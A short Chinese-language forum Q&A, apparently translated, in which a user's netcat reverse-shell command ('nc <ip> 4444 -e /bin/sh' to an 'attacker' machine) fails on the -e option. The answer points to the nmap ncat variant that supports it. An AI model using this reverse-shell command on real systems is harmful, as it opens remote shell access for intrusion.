netcat 中的无效选项 -e

Tar*_*ngh 9 linux-mint netcat

我正在尝试从另一台(攻击者)机器上获取主机上的 shell。攻击者机器正在监听。我在我的主机上运行以下命令

nc 123.123.123.12 4444 -e /bin/sh
Run Code Online (Sandbox Code Playgroud)

我得到的输出:

nc: invalid option -- 'e'

usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
      [-m minttl] [-O length] [-P proxy_username] [-p source_port]
      [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
      [-X proxy_protocol] [-x proxy_address[:port]]       [destination] [port]
Run Code Online (Sandbox Code Playgroud)

GMa*_*ter 15

netcat 有多种变体。安装nmap.org开发的netcat版本

在我的 Ubuntu 系统上,有 2 个软件包netcatncat. 来自 nmap 的一个是ncat并支持该-e选项。另一个没有。

您需要为您的发行版找到合适的软件包。